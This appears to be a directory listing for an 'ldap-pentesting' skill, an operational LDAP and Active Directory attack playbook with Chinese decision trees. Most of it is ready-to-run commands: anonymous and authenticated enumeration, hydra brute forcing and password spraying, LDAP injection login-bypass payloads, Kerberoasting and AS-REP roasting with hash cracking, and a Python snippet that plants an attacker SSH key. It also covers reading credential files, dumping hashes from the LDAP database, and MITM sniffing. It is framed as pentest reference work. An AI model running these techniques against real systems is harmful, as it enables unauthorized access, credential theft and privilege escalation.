SuperAPI AI Directory

ldap-pentesting

Testing & quality

View repository

Updated 10-16 08:08

About this skill

LDAP Penetration Testing Methodology (389/636/3268/3269)

In-depth Reference

  • Comprehensive LDAP Enumeration and Exploitation Techniques (ldapsearch / windapsearch / NetExec / Python / LDAP injection) -> Read references/ldap-techniques.md

Overall Decision Tree

发现 389/636/3268/3269 端口开放
├─ Phase 1: 服务发现与版本识别
│   ├─ 确定 LDAP 服务类型 (Active Directory / OpenLDAP / 其他)
│   ├─ 获取 Naming Context / Base DN
│   └─ 判断是否启用 LDAPS (636/3269)
│       ├─ 是 -> Phase 7 证书分析 + 仍尝试 389 明文端口
│       └─ 否 -> 可嗅探明文凭据 (MITM)
├─ Phase 2: 匿名绑定测试
│   ├─ 匿名绑定成功 -> 进入 Phase 3 全面枚举
│   └─ 匿名绑定失败
│       ├─ 尝试 TLS SNI 绕过
│       ├─ 尝试已知凭据 / 密码喷洒
│       └─ 转向其他服务获取凭据后回来
├─ Phase 3: 目录枚举
│   ├─ 用户枚举 (sAMAccountName / userPrincipalName)
│   ├─ 组枚举 (Domain Admins / Enterprise Admins / 特权组)
│   ├─ 计算机枚举
│   ├─ OU 结构映射
│   └─ 敏感属性提取 (description / userPassword / sshPublicKey)
├─ Phase 4: LDAP 注入
│   ├─ Web 应用 LDAP 查询注入
│   └─ 盲注 (布尔型 / 错误型)
├─ Phase 5: 密码策略提取
│   ├─ 域密码策略 (lockoutThreshold / maxPwdAge)
│   └─ 细粒度密码策略 (PSO)
├─ Phase 6: Kerberoasting 关联
│   ├─ 查找 SPN 账户 (servicePrincipalName)
│   └─ 查找 AS-REP Roastable 账户 (DONT_REQUIRE_PREAUTH)
└─ Phase 7: 已知漏洞与后渗透
    ├─ LDAPS 证书分析 (域名 / SAN 泄露)
    ├─ 可写属性利用 (sshPublicKey / msDS-AllowedToActOnBehalfOfOtherIdentity)
    ├─ 客户端配置文件泄露 (sssd.conf / nslcd.conf)
    └─ LDAP 数据库直接提取 (本地访问)

Phase 1: Service Discovery and Version Identification

1.1 Port Scanning and Script Enumeration

# Nmap 服务版本探测 + LDAP 脚本
nmap -sV -sC -p 389,636,3268,3269 <IP>

# Nmap LDAP 专项脚本 (排除暴力破解)
nmap -n -sV --script "ldap* and not brute" <IP>

1.2 Obtaining the Naming Context (Base DN)

# 查询 Root DSE — 不需要认证
ldapsearch -x -H ldap://<IP> -s base namingcontexts

# 查询完整 Root DSE 信息
ldapsearch -x -H ldap://<IP> -s base '(objectClass=*)' '*' +

Key Judgment:

  • defaultNamingContext -> Domain's Base DN (e.g. DC=corp,DC=local)
  • rootDomainNamingContext -> Forest root domain
  • configurationNamingContext -> Configuration partition, containing site/subnet topology
  • exists forestFunctionality / domainFunctionality -> Active Directory environment

1.3 LDAPS Detection

# 测试 LDAPS 连接 (636)
nmap -sV -p 636 <IP>
openssl s_client -connect <IP>:636

# 测试 Global Catalog over SSL (3269)
openssl s_client -connect <IP>:3269

Phase 2: Anonymous Bind Testing

2.1 Anonymous Bind Decision Tree

尝试匿名绑定
├─ 1) ldapsearch 空凭据
│   └─ ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<DOMAIN>,DC=<TLD>"
│       ├─ 返回数据 -> 匿名绑定成功,进入 Phase 3
│       └─ "bind must be completed" -> 匿名绑定被禁用
├─ 2) TLS SNI 绕过 (LDAPS)
│   └─ ldapsearch -H ldaps://<DOMAIN>:636/ -x -s base -b '' "(objectClass=*)" "*" +
├─ 3) NetExec null bind
│   └─ netexec ldap <IP> -u '' -p '' --query "(objectClass=*)" ""
│       ├─ 返回对象 -> 匿名绑定成功
│       └─ Operations error -> 需要认证
└─ 4) Python ldap3 库
    └─ -> 读 references/ldap-techniques.md #Python枚举

2.2 Authentication with Known Credentials

# 使用域凭据绑定
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<DOMAIN>,DC=<TLD>"

# Kerberos 认证 (无需明文密码)
ldapsearch -Y GSSAPI -H ldap://<IP> -b "DC=<DOMAIN>,DC=<TLD>"

2.3 Credential Brute Force

# Hydra LDAP 暴力破解
hydra -l <username> -P <wordlist> <IP> ldap2 -V -f

# NetExec 密码喷洒
netexec ldap <IP> -u users.txt -p 'Password1' --continue-on-success

Phase 3: Directory Enumeration

3.1 Full Export (ldapdomaindump)

# 一站式域信息导出 — 生成 HTML/JSON/GREP 格式
pip3 install ldapdomaindump
ldapdomaindump <IP> -u '<DOMAIN>\<user>' -p '<password>' --no-json --no-grep [-o output_dir]

3.2 User Enumeration

# 提取所有用户
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "CN=Users,DC=<DOMAIN>,DC=<TLD>" "(objectClass=person)" \
  sAMAccountName userPrincipalName memberOf description

# 提取 Domain Admins 组成员
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "CN=Domain Admins,CN=Users,DC=<DOMAIN>,DC=<TLD>"

# 提取 Enterprise Admins
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "CN=Enterprise Admins,CN=Users,DC=<DOMAIN>,DC=<TLD>"

# 提取 Administrators
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "CN=Administrators,CN=Builtin,DC=<DOMAIN>,DC=<TLD>"

3.3 Computer and OU Enumeration

# 提取计算机对象
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "CN=Computers,DC=<DOMAIN>,DC=<TLD>" "(objectClass=computer)" \
  cn operatingSystem operatingSystemVersion dNSHostName

# 提取 OU 结构
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "DC=<DOMAIN>,DC=<TLD>" "(objectClass=organizationalUnit)" ou distinguishedName

3.4 NetExec Enumeration (Anonymous / Authenticated)

# 匿名枚举对象
netexec ldap <IP> -u '' -p '' --query "(objectClass=*)" ""

# 匿名提取用户名列表
netexec ldap <IP> -u '' -p '' --query "(sAMAccountName=*)" "" \
  | awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt

# 认证枚举 + BloodHound 数据采集
netexec ldap <IP> -u <USER> -p <PASS> --bloodhound -c All -d <DOMAIN> \
  --dns-server <IP> --dns-tcp

3.5 windapsearch

# 获取域管理员
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --da

# 获取特权用户
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --privileged-users

# 获取所有用户/组/计算机
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --users
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --groups
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --computers

3.6 Sensitive Attribute Search

敏感属性检查
├─ description 字段 -> 管理员常在此存放临时密码
├─ userPassword 属性 -> OpenLDAP 环境可能存在
├─ unixUserPassword -> Linux 集成环境
├─ sshPublicKey -> SSH 公钥,可写则可劫持
├─ msDS-AllowedToActOnBehalfOfOtherIdentity -> RBCD 攻击面
└─ adminCount=1 -> 标记受 AdminSDHolder 保护的高权限账户
# 搜索 description 字段含密码线索
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "DC=<DOMAIN>,DC=<TLD>" "(&(objectClass=user)(description=*))" \
  sAMAccountName description

# 搜索含 userPassword 属性的对象
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "DC=<DOMAIN>,DC=<TLD>" "(&(objectClass=person))" userPassword

Phase 4: LDAP Injection

4.1 Injection Principle

When a web application constructs LDAP queries by concatenating user input, malicious filters can be injected.

4.2 Injection Testing Decision Tree

发现 Web 应用使用 LDAP 后端认证/查询
├─ 认证绕过
│   ├─ 用户名: *  密码: *  -> 通配符绕过
│   ├─ 用户名: admin)(|(password=*  -> 过滤器注入
│   └─ 用户名: admin)(&)  -> 恒真条件
├─ 信息泄露 (盲注)
│   ├─ 布尔型: 逐字符猜解属性值
│   │   └─ (&(uid=admin)(userPassword=a*)) -> 响应差异判断
│   └─ 错误型: 构造畸形过滤器触发错误信息
└─ 常见注入字符: * ( ) \ / NUL

4.3 Common Payloads

# 认证绕过
user=*)(uid=*))(|(uid=*
pass=anything

# 属性枚举 (盲注)
(&(uid=admin)(userPassword=FUZZ*))
(&(uid=admin)(description=FUZZ*))

# 通配符测试
(&(objectClass=*)(uid=*))

Note: LDAP injection is now rare in modern frameworks, but may still exist in internal legacy applications and embedded device management interfaces.


Phase 5: Password Policy Extraction

5.1 Domain Default Password Policy

# 通过 LDAP 查询域密码策略
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "DC=<DOMAIN>,DC=<TLD>" "(objectClass=domain)" \
  minPwdLength maxPwdAge minPwdAge lockoutThreshold lockoutDuration \
  pwdHistoryLength pwdProperties

# NetExec 查询
netexec ldap <IP> -u <USER> -p <PASS> --pass-pol

5.2 Fine-Grained Password Policy (PSO)

# 查询 Password Settings Objects
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "CN=Password Settings Container,CN=System,DC=<DOMAIN>,DC=<TLD>" \
  "(objectClass=msDS-PasswordSettings)" \
  msDS-LockoutThreshold msDS-MinimumPasswordLength msDS-PSOAppliesTo

Key Judgment:

  • lockoutThreshold=0 -> No lockout policy, safe to brute force
  • lockoutThreshold>0 -> Record threshold and lockoutObservationWindow, control spray rate
  • PSO may set stricter policies for privileged accounts

Phase 6: Kerberoasting Correlation

6.1 Finding SPN Accounts

# 查找设置了 SPN 的用户账户 (非计算机账户)
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "DC=<DOMAIN>,DC=<TLD>" \
  "(&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer)))" \
  sAMAccountName servicePrincipalName memberOf

# windapsearch 快捷方式
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p password --da

Key Judgment:

  • SPN account belongs to a high-privilege group -> High-value Kerberoasting target
  • pwdLastSet older -> Password may be weaker, easier to crack

6.2 Finding AS-REP Roastable Accounts

# 查找未启用 Kerberos 预认证的账户 (UAC flag 0x400000)
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' \
  -b "DC=<DOMAIN>,DC=<TLD>" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
  sAMAccountName userAccountControl

6.3 Follow-up Attacks

Kerberoasting 路径
├─ 找到 SPN 账户 -> GetUserSPNs.py 请求 TGS
│   └─ impacket-GetUserSPNs -dc-ip <IP> <DOMAIN>/<user>:<pass> -request
├─ 找到 AS-REP Roastable 账户 -> GetNPUsers.py 请求 AS-REP
│   └─ impacket-GetNPUsers -dc-ip <IP> <DOMAIN>/ -usersfile users.txt -no-pass
└─ 获取哈希 -> hashcat / john 离线破解
    ├─ Kerberoast: hashcat -m 13100 hash.txt wordlist.txt
    └─ AS-REP: hashcat -m 18200 hash.txt wordlist.txt

Phase 7: Known Vulnerabilities and Post-Exploitation

7.1 LDAPS Certificate Analysis

# 提取 LDAPS 证书信息
openssl s_client -connect <IP>:636 </dev/null 2>/dev/null | openssl x509 -noout -text

# 关注项:
# - Subject / SAN: 泄露内部域名、主机名
# - Issuer: 内部 CA 信息
# - Validity: 过期证书可能接受任意证书 (MITM)

7.2 Exploiting Writable Attributes

发现 LDAP 可写权限
├─ sshPublicKey 可写 -> 注入攻击者公钥,SSH 登录目标
├─ msDS-AllowedToActOnBehalfOfOtherIdentity 可写 -> RBCD 攻击
├─ servicePrincipalName 可写 -> Targeted Kerberoasting
├─ userAccountControl 可修改 -> 禁用预认证 (AS-REP Roasting)
└─ member 属性可写 -> 将自身添加到特权组
# Python ldap3 — 写入 sshPublicKey 示例
import ldap3
server = ldap3.Server('<IP>', port=636, use_ssl=True)
conn = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=TLD', 'PASSWORD', auto_bind=True)
conn.modify('uid=TARGET,ou=USERS,dc=DOMAIN,dc=TLD', {
    'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAA...attacker_key'])]
})

7.3 Linux Client Configuration Leakage

# 检查 LDAP 客户端配置文件
ls -la /etc/sssd/sssd.conf /etc/nslcd.conf /etc/ldap/ldap.conf /etc/krb5.conf 2>/dev/null

# 搜索明文绑定凭据
grep -nE '^(ldap_uri|ldap_search_base|ldap_default_bind_dn|ldap_default_authtok|id_provider|auth_provider)\s*=' \
  /etc/sssd/sssd.conf /etc/nslcd.conf 2>/dev/null

Key Check Items:

  • sssd.conf / nslcd.conf globally readable -> Plaintext bind credentials leaked
  • ldap_default_bind_dn + ldap_default_authtok -> Reusable LDAP bind credentials
  • Directory-integrated SSH/sudo -> Readable configuration translates into actual authorization impact

7.4 Direct Extraction of LDAP Database (Local Access)

# 已获取服务器 shell 后,直接提取 LDAP 数据库中的哈希
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
# 提取的 {SSHA} 哈希可用 john 破解

7.5 LDAP Traffic Sniffing and MITM

明文 LDAP (389) 环境
├─ 网络嗅探 -> tcpdump/Wireshark 捕获绑定凭据
├─ MITM 降级攻击
│   ├─ 拦截 LDAP 通信
│   └─ 强制客户端使用简单绑定 (明文密码)
└─ LDAPS 环境 -> 伪造证书 MITM
    └─ 客户端不验证证书 -> 降级后嗅探凭据

7.6 Configuration File Path Reference

Configuration File Applicable Environment
slapd.conf OpenLDAP
ldap.conf / ldap.cfg Generic LDAP Client
containers.ldif Generic
ldap.xml / ldap-config.xml / ldap-realm.xml Java Application
msadClassesAttrs.ldif Microsoft AD
V3.sas.oc IBM SecureWay
nsslapd.sas_at.conf / nsslapd.sas_oc.conf Netscape Directory
75sas.ldif Sun ONE Directory

Plaintext Credential Sniffing Reminder

If the target uses port 389 plaintext LDAP(STARTTLS not enabled), credentials in all bind operations can be captured by network sniffing. This risk should be flagged in the penetration testing report, even if not directly exploited.


Graphical Tools

When command-line enumeration is restricted or interactive browsing of the directory tree is required:

Tool Description
Apache Directory Studio Cross-platform LDAP browser with comprehensive features
JXplorer Java LDAP browser (default /opt/jxplorer)
Godap Terminal TUI, supports simple bind / PtH / PtT / PtC
Ldapx LDAP proxy, traffic obfuscation to bypass monitoring